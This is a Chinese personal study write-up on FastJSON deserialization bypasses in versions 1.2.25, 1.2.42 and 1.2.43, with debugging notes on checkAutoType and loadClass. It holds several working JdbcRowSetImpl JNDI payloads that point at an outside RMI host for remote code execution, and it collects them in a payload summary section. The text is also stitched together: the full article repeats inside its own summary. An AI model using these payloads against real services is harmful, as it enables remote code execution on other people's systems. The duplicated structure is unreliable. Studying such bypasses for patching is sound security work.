代码审计 | FastJSON 反序列化分析:1.2.25 / 1.2.42 / 1.2.43
个人学习记录,记录一下这三个版本的绕过思路和调试过程。 这三个版本有个共同点:都需要
autoTypeSupport=true才能利用,算是一条贯穿始终的主线。
目录
环境准备
首先是配置 pom.xml,切换到对应的 fastjson 版本:
然后用 maven 下载对应依赖:
1.2.25 —— checkAutoType 机制引入
源码变化对比
1.2.24 和 1.2.25 之间是个比较大的变化,把 24 和 25 的源码对比一下:
之前(1.2.24)是直接 loadClass 来加载、实例化,并触发 Setter 方法。但从 1.2.25 开始,引入了 checkAutoType 检测方法,多了一道安全检查。
为什么要开 autoTypeSupport
改 main 代码,payload 里需要把原本的:
com.sun.rowset.JdbcRowSetImpl
改成加了 L 和 ; 的写法:
Lcom.sun.rowset.JdbcRowSetImpl;
同时还需要添加这行代码:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
如果不写这行(或者设为 false),解析到 @type 的时候会直接报错:
com.alibaba.fastjson.JSONException: autoType is not support
这里有个现实问题:
autoTypeSupport默认是关的,正常情况下这个漏洞利用不了。 但部分开发者为了兼容业务需求,会手动开启autoTypeSupport,或者通过配置文件开启——这是这三个版本绕过能生效的前提条件。
调试过程 {#调试过程-125}
调试到检测 @type 的位置,会进入一个 checkAutoType 函数。
调试发现一个关键判断:
当 autoTypeSupport: false 时,class 不会被 loadClass 函数赋值,class 为 null,直接进入抛出异常的判断语句。
所以需要开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
才能让流程继续往下走。
开启之后再调试,autoTypeSupport 为 true,开始执行:
TypeUtils.loadClass(typeName, this.defaultClassLoader);
此时 typeName 的值为:
Lcom.sun.rowset.JdbcRowSetImpl;
成功取出我们写的 @type 值:
进入 loadClass 函数后,进入了检测 L 和 ; 的判断,把 L 和 ; 剥离掉,返回了 com.sun.rowset.JdbcRowSetImpl 作为 newClassName:
因为开关是开的,所以返回 class 为 com.sun.rowset.JdbcRowSetImpl:
到此检测函数结束,返回了 class 值:
接下来的流程就和 1.2.24 版本一样了。
1.2.42 —— 双写绕过
payload 变化
maven 切换到 1.2.42 版本,源码下载: repo1.maven.org/maven2/com/…
修改 pom 版本:
对比 1.2.25 和 1.2.42 的 src/main/java/com/alibaba/fastjson/parser/ParserConfig.java,可以发现有了新的检测逻辑。
这个版本的 payload 变成了双 LL 和双 ;;:
payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
checkAutoType 里发生了什么
在检测 @type 的地方,checkAutoType 依然存在:
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
此时 typeName 的值为:
LLcom.sun.rowset.JdbcRowSetImpl;;
进入函数里:
函数里有这几步:
-
一个长度检测,太长或者太短都不行
-
一个符号替换,把
$换成. -
一段复杂的哈希计算
看一下此时线程与变量的情况:
typeName 是双 LL 的,进入函数后创建了一个副本叫 className,就变成了单 L。
关键代码:
if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
className = className.substring(1, className.length() - 1);
}
这段复杂的哈希计算,本质上就是检测首字母是 L、末尾是 ;,成立就剥掉一层。
LL;; 进来剥一层变成 L;,用于后续哈希检测。但注意 typeName 没变,还是原始的 LL;;。
黑白名单检测
接下来是黑白名单的 hash 检测,用的是剥了一层之后的 className,也就是:
Lcom.sun.rowset.JdbcRowSetImpl;
这个值没有出现在黑名单里,检测通过:
所以黑白名单没有命中,返回的 class 为 null,于是进入:
clazz = TypeUtils.loadClass(typeName, ...)
把原始的 LL;; 传进去。
loadClass 的递归剥离
loadClass 里检测到 L 进行剥离:
返回值是 loadClass(单L, classLoader),这里 loadClass 调用的是自身,是一个递归调用:
递归之后再一次剥离 L,现在已经是无 L 的类名了。再次递归时没有检测到 L,退出递归:
最终返回了无 LL 的 class 值:
到此检测函数结束,class 最终以无 LL 的形式进入其他判断:
接下来的流程就和 1.2.24 版一样了——反射调用 Setter 方法,存储 RMI 地址,connect 连接地址执行 RCE。
1.2.43 —— [{ 绕过
LL;; 被修了
源码下载: repo1.maven.org/maven2/com/…
maven 修改 pom.xml:
对比一下 1.2.42 和 1.2.43 的源码差异:
1.2.42 的逻辑是:不管你里面还有没有 L,只要符合 L; 格式就剥掉一层,然后拿去跑黑名单。
如果你传 LL...;;,它剥掉一层剩下 L...;,不在黑名单里,安检通过。
1.2.43 的修复方式很直接:如果检测到 LL 开头,直接抛异常。
如果想套两层 L(即 LL 开头),直接报异常
这样就直接封杀了 LL...;; 这种 Payload。
新 Payload:[{ {#新-payload}
LL;; 被修了,但 1.2.43 只检验了 LL 的情况。
换一种写法:
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
格式化来看更清晰:
{ "@type":"[com.sun.rowset.JdbcRowSetImpl" [{ "dataSourceName":"rmi://172.16.250.1:1099/nmpjlh", "autoCommit":true }] }
这是一个畸形 JSON,利用了 FastJSON 解析器对非标准格式的宽松处理,[{ 触发数组类型反序列化,绕过 checkAutoType 的黑名单检测。
调试过程 {#调试过程-143}
判断 @type 后依旧进入 checkAutoType 检测函数,提取的 typeName 值为:
[com.sun.rowset.JdbcRowSetImpl
进入检测函数:
因为 hash 判断里检测的是 LL,而不是 [,所以没有抛出异常,通过了。
后面的黑白名单 hash 循环检测也没有命中,顺利通过 checkAutoType:
进入 loadClass 函数:
进入了判断 [ 的分支:
检测到 [,经过 substring 处理,变成了:
com.sun.rowset.JdbcRowSetImpl
最终 clazz 被赋值为:
[Lcom.sun.rowset.JdbcRowSetImpl;
这里解释一下:
[L...;是 Java 里数组类型的内部表示方式,[Lcom.sun.rowset.JdbcRowSetImpl;就是JdbcRowSetImpl[]数组类型。
继续往下:
Object var57 = deserializer.deserialze(this, clazz, fieldName);
进入这个函数后,最终数组类型被转换回了:
com.sun.rowset.JdbcRowSetImpl
后续就是调用 Setter 方法了,流程和之前版本一样。
还有个 [L...; 的写法
除了上面那个,还有另一种写法:
String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
这个传入的 typeName 是:
[Lcom.sun.rowset.JdbcRowSetImpl;
进入 checkAutoType 后,hash 组合检测的是 LL,而不是 [L,所以同样通过了。
最终检测完的值还是 [Lcom.sun.rowset.JdbcRowSetImpl;,这个值被认为是数组类型,处理方式和上个 payload 完全一样——提取数组里的类名再实例化。
两种写法,效果一样。
核心逻辑:为什么修了 LL;; 却没修 [
这是这块分析里我觉得最值得记录的一个问题。
两者走的是完全不同的代码路径。
LL;; 的绕过路径:
checkAutoType → 哈希剥一层 L; → 黑名单没命中 → loadClass → 递归剥 L; → 返回真实类
[{ 的绕过路径:
checkAutoType → typeName 以 [ 开头 → 进入数组类型分支 → 根本没走黑名单 → loadClass → 剥 [ → 返回真实类
这是两条完全独立的逻辑分支,1.2.43 的开发者只在 L; 路径上打了补丁(检测到 LL 开头就抛异常),对 [ 路径没有做任何修改。
原因一:[ 在 Java 类型系统里是合法字符
Java JVM 内部用 [Ljava.lang.String; 来表示 String[] 数组类型,这是标准的类型描述符。FastJSON 需要支持数组反序列化,所以 [ 开头的类名有合法的使用场景,开发者不敢直接封杀,只能选择性处理,这就留下了空间。
原因二:补丁是"症状式修复",不是"根因式修复"
1.2.43 的修复思路是:我看到你用了 LL,我就封 LL。这是一种见招拆招的打法,没有从根本上重新审视 checkAutoType 的整体设计——即任何能让类名绕过黑名单、最终进入 loadClass 的路径都是危险的。
正确的修法应该是:不管类名经过哪条路径进入 loadClass,加载完之后都要对最终的真实类名再做一次黑名单校验,而不是只在入口处拦截变形字符串。1.2.43 没有做到这一点。
1.2.43 的修复本质上是一个局部拦截,它堵上了
L;路径上的双写技巧,但[前缀走的是数组类型分支,整体绕过了黑名单防线。checkAutoType的设计缺陷(只在入口拦截变形字符串,而不在出口校验最终类名)没有得到根治,这为后续版本的绕过埋下了伏笔。
常见 Payload 汇总
| 版本 | LL;; | [{ | [L; |
|---|---|---|---|
| 1.2.42 | ✅ | ✅ | ✅ |
| 1.2.43 | ❌ | ✅ | ✅ |
三种 payload 写法:
// LL;; 双写(1.2.42 有效,1.2.43 已修)
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
// [{ 数组绕过(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
// [L; 数组绕过变种(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
| payload | @type 值 | 后缀 |
|---|---|---|
| 第一个 | [com.sun.rowset.JdbcRowSetImpl | [{ |
| 第二个 | [Lcom.sun.rowset.JdbcRowSetImpl; | [{ |
本质都是靠 [{ 触发,[L; 只是多了一层数组类型描述,两种写法效果一样。
小结
三个版本的攻防脉络:
一、1.2.25 —— checkAutoType 机制引入
- 源码对比 1.2.24 的变化
autoTypeSupport默认false直接报错- 开启后,
L;包裹类名即可绕过# 代码审计 | FastJSON 反序列化分析:1.2.25 / 1.2.42 / 1.2.43
个人学习记录,记录一下这三个版本的绕过思路和调试过程。 这三个版本有个共同点:都需要
autoTypeSupport=true才能利用,算是一条贯穿始终的主线。
目录
环境准备
首先是配置 pom.xml,切换到对应的 fastjson 版本:
然后用 maven 下载对应依赖:
1.2.25 —— checkAutoType 机制引入
源码变化对比
1.2.24 和 1.2.25 之间是个比较大的变化,把 24 和 25 的源码对比一下:
之前(1.2.24)是直接 loadClass 来加载、实例化,并触发 Setter 方法。但从 1.2.25 开始,引入了 checkAutoType 检测方法,多了一道安全检查。
为什么要开 autoTypeSupport
改 main 代码,payload 里需要把原本的:
com.sun.rowset.JdbcRowSetImpl
改成加了 L 和 ; 的写法:
Lcom.sun.rowset.JdbcRowSetImpl;
同时还需要添加这行代码:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
如果不写这行(或者设为 false),解析到 @type 的时候会直接报错:
com.alibaba.fastjson.JSONException: autoType is not support
这里有个现实问题:
autoTypeSupport默认是关的,正常情况下这个漏洞利用不了。 但部分开发者为了兼容业务需求,会手动开启autoTypeSupport,或者通过配置文件开启——这是这三个版本绕过能生效的前提条件。
调试过程 {#调试过程-125}
调试到检测 @type 的位置,会进入一个 checkAutoType 函数。
调试发现一个关键判断:
当 autoTypeSupport: false 时,class 不会被 loadClass 函数赋值,class 为 null,直接进入抛出异常的判断语句。
所以需要开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
才能让流程继续往下走。
开启之后再调试,autoTypeSupport 为 true,开始执行:
TypeUtils.loadClass(typeName, this.defaultClassLoader);
此时 typeName 的值为:
Lcom.sun.rowset.JdbcRowSetImpl;
成功取出我们写的 @type 值:
进入 loadClass 函数后,进入了检测 L 和 ; 的判断,把 L 和 ; 剥离掉,返回了 com.sun.rowset.JdbcRowSetImpl 作为 newClassName:
因为开关是开的,所以返回 class 为 com.sun.rowset.JdbcRowSetImpl:
到此检测函数结束,返回了 class 值:
接下来的流程就和 1.2.24 版本一样了。
1.2.42 —— 双写绕过
payload 变化
maven 切换到 1.2.42 版本,源码下载: repo1.maven.org/maven2/com/…
修改 pom 版本:
对比 1.2.25 和 1.2.42 的 src/main/java/com/alibaba/fastjson/parser/ParserConfig.java,可以发现有了新的检测逻辑。
这个版本的 payload 变成了双 LL 和双 ;;:
payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
checkAutoType 里发生了什么
在检测 @type 的地方,checkAutoType 依然存在:
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
此时 typeName 的值为:
LLcom.sun.rowset.JdbcRowSetImpl;;
进入函数里:
函数里有这几步:
-
一个长度检测,太长或者太短都不行
-
一个符号替换,把
$换成. -
一段复杂的哈希计算
看一下此时线程与变量的情况:
typeName 是双 LL 的,进入函数后创建了一个副本叫 className,就变成了单 L。
关键代码:
if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
className = className.substring(1, className.length() - 1);
}
这段复杂的哈希计算,本质上就是检测首字母是 L、末尾是 ;,成立就剥掉一层。
LL;; 进来剥一层变成 L;,用于后续哈希检测。但注意 typeName 没变,还是原始的 LL;;。
黑白名单检测
接下来是黑白名单的 hash 检测,用的是剥了一层之后的 className,也就是:
Lcom.sun.rowset.JdbcRowSetImpl;
这个值没有出现在黑名单里,检测通过:
所以黑白名单没有命中,返回的 class 为 null,于是进入:
clazz = TypeUtils.loadClass(typeName, ...)
把原始的 LL;; 传进去。
loadClass 的递归剥离
loadClass 里检测到 L 进行剥离:
返回值是 loadClass(单L, classLoader),这里 loadClass 调用的是自身,是一个递归调用:
递归之后再一次剥离 L,现在已经是无 L 的类名了。再次递归时没有检测到 L,退出递归:
最终返回了无 LL 的 class 值:
到此检测函数结束,class 最终以无 LL 的形式进入其他判断:
接下来的流程就和 1.2.24 版一样了——反射调用 Setter 方法,存储 RMI 地址,connect 连接地址执行 RCE。
1.2.43 —— [{ 绕过
LL;; 被修了
源码下载: repo1.maven.org/maven2/com/…
maven 修改 pom.xml:
对比一下 1.2.42 和 1.2.43 的源码差异:
1.2.42 的逻辑是:不管你里面还有没有 L,只要符合 L; 格式就剥掉一层,然后拿去跑黑名单。
如果你传 LL...;;,它剥掉一层剩下 L...;,不在黑名单里,安检通过。
1.2.43 的修复方式很直接:如果检测到 LL 开头,直接抛异常。
如果想套两层 L(即 LL 开头),直接报异常
这样就直接封杀了 LL...;; 这种 Payload。
新 Payload:[{ {#新-payload}
LL;; 被修了,但 1.2.43 只检验了 LL 的情况。
换一种写法:
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
格式化来看更清晰:
{ "@type":"[com.sun.rowset.JdbcRowSetImpl" [{ "dataSourceName":"rmi://172.16.250.1:1099/nmpjlh", "autoCommit":true }] }
这是一个畸形 JSON,利用了 FastJSON 解析器对非标准格式的宽松处理,[{ 触发数组类型反序列化,绕过 checkAutoType 的黑名单检测。
调试过程 {#调试过程-143}
判断 @type 后依旧进入 checkAutoType 检测函数,提取的 typeName 值为:
[com.sun.rowset.JdbcRowSetImpl
进入检测函数:
因为 hash 判断里检测的是 LL,而不是 [,所以没有抛出异常,通过了。
后面的黑白名单 hash 循环检测也没有命中,顺利通过 checkAutoType:
进入 loadClass 函数:
进入了判断 [ 的分支:
检测到 [,经过 substring 处理,变成了:
com.sun.rowset.JdbcRowSetImpl
最终 clazz 被赋值为:
[Lcom.sun.rowset.JdbcRowSetImpl;
这里解释一下:
[L...;是 Java 里数组类型的内部表示方式,[Lcom.sun.rowset.JdbcRowSetImpl;就是JdbcRowSetImpl[]数组类型。
继续往下:
Object var57 = deserializer.deserialze(this, clazz, fieldName);
进入这个函数后,最终数组类型被转换回了:
com.sun.rowset.JdbcRowSetImpl
后续就是调用 Setter 方法了,流程和之前版本一样。
还有个 [L...; 的写法
除了上面那个,还有另一种写法:
String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
这个传入的 typeName 是:
[Lcom.sun.rowset.JdbcRowSetImpl;
进入 checkAutoType 后,hash 组合检测的是 LL,而不是 [L,所以同样通过了。
最终检测完的值还是 [Lcom.sun.rowset.JdbcRowSetImpl;,这个值被认为是数组类型,处理方式和上个 payload 完全一样——提取数组里的类名再实例化。
两种写法,效果一样。
核心逻辑:为什么修了 LL;; 却没修 [
这是这块分析里我觉得最值得记录的一个问题。
两者走的是完全不同的代码路径。
LL;; 的绕过路径:
checkAutoType → 哈希剥一层 L; → 黑名单没命中 → loadClass → 递归剥 L; → 返回真实类
[{ 的绕过路径:
checkAutoType → typeName 以 [ 开头 → 进入数组类型分支 → 根本没走黑名单 → loadClass → 剥 [ → 返回真实类
这是两条完全独立的逻辑分支,1.2.43 的开发者只在 L; 路径上打了补丁(检测到 LL 开头就抛异常),对 [ 路径没有做任何修改。
原因一:[ 在 Java 类型系统里是合法字符
Java JVM 内部用 [Ljava.lang.String; 来表示 String[] 数组类型,这是标准的类型描述符。FastJSON 需要支持数组反序列化,所以 [ 开头的类名有合法的使用场景,开发者不敢直接封杀,只能选择性处理,这就留下了空间。
原因二:补丁是"症状式修复",不是"根因式修复"
1.2.43 的修复思路是:我看到你用了 LL,我就封 LL。这是一种见招拆招的打法,没有从根本上重新审视 checkAutoType 的整体设计——即任何能让类名绕过黑名单、最终进入 loadClass 的路径都是危险的。
正确的修法应该是:不管类名经过哪条路径进入 loadClass,加载完之后都要对最终的真实类名再做一次黑名单校验,而不是只在入口处拦截变形字符串。1.2.43 没有做到这一点。
1.2.43 的修复本质上是一个局部拦截,它堵上了
L;路径上的双写技巧,但[前缀走的是数组类型分支,整体绕过了黑名单防线。checkAutoType的设计缺陷(只在入口拦截变形字符串,而不在出口校验最终类名)没有得到根治,这为后续版本的绕过埋下了伏笔。
常见 Payload 汇总
| 版本 | LL;; | [{ | [L; |
|---|---|---|---|
| 1.2.42 | ✅ | ✅ | ✅ |
| 1.2.43 | ❌ | ✅ | ✅ |
三种 payload 写法:
// LL;; 双写(1.2.42 有效,1.2.43 已修)
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
// [{ 数组绕过(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
// [L; 数组绕过变种(1.2.42 / 1.2.43 均有效)
String payload = "{\"@type\":\"[Lcom.sun.rowset.JdbcRowSetImpl;\"[{"
+ "\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\","
+ "\"autoCommit\":true}";
| payload | @type 值 | 后缀 |
|---|---|---|
| 第一个 | [com.sun.rowset.JdbcRowSetImpl | [{ |
| 第二个 | [Lcom.sun.rowset.JdbcRowSetImpl; | [{ |
本质都是靠 [{ 触发,[L; 只是多了一层数组类型描述,两种写法效果一样。
小结
三个版本的攻防脉络:
一、1.2.25 —— checkAutoType 机制引入
- 源码对比 1.2.24 的变化
autoTypeSupport默认false直接报错- 开启后,
L;包裹类名即可绕过
二、1.2.42 —— 双写绕过
- 单层
L;被黑名单 hash 检测识别 LL;;的绕过原理:哈希剥一层给黑名单用,原始双写进loadClass递归剥除
三、1.2.43 —— [{ 绕过
LL;;双写被直接封杀- 改用
[{前缀,走数组类型分支,绕过黑名单
这三个版本的共同点:都需要 autoTypeSupport=true。
下一个值得研究的是 1.2.47,这个版本出现了一种不需要开 autoTypeSupport 开关的绕过方式,利用的是缓存机制。
二、1.2.42 —— 双写绕过
- 单层
L;被黑名单 hash 检测识别 LL;;的绕过原理:哈希剥一层给黑名单用,原始双写进loadClass递归剥除
三、1.2.43 —— [{ 绕过
LL;;双写被直接封杀- 改用
[{前缀,走数组类型分支,绕过黑名单
这三个版本的共同点:都需要 autoTypeSupport=true。
下一个值得研究的是 1.2.47,这个版本出现了一种不需要开 autoTypeSupport 开关的绕过方式,利用的是缓存机制。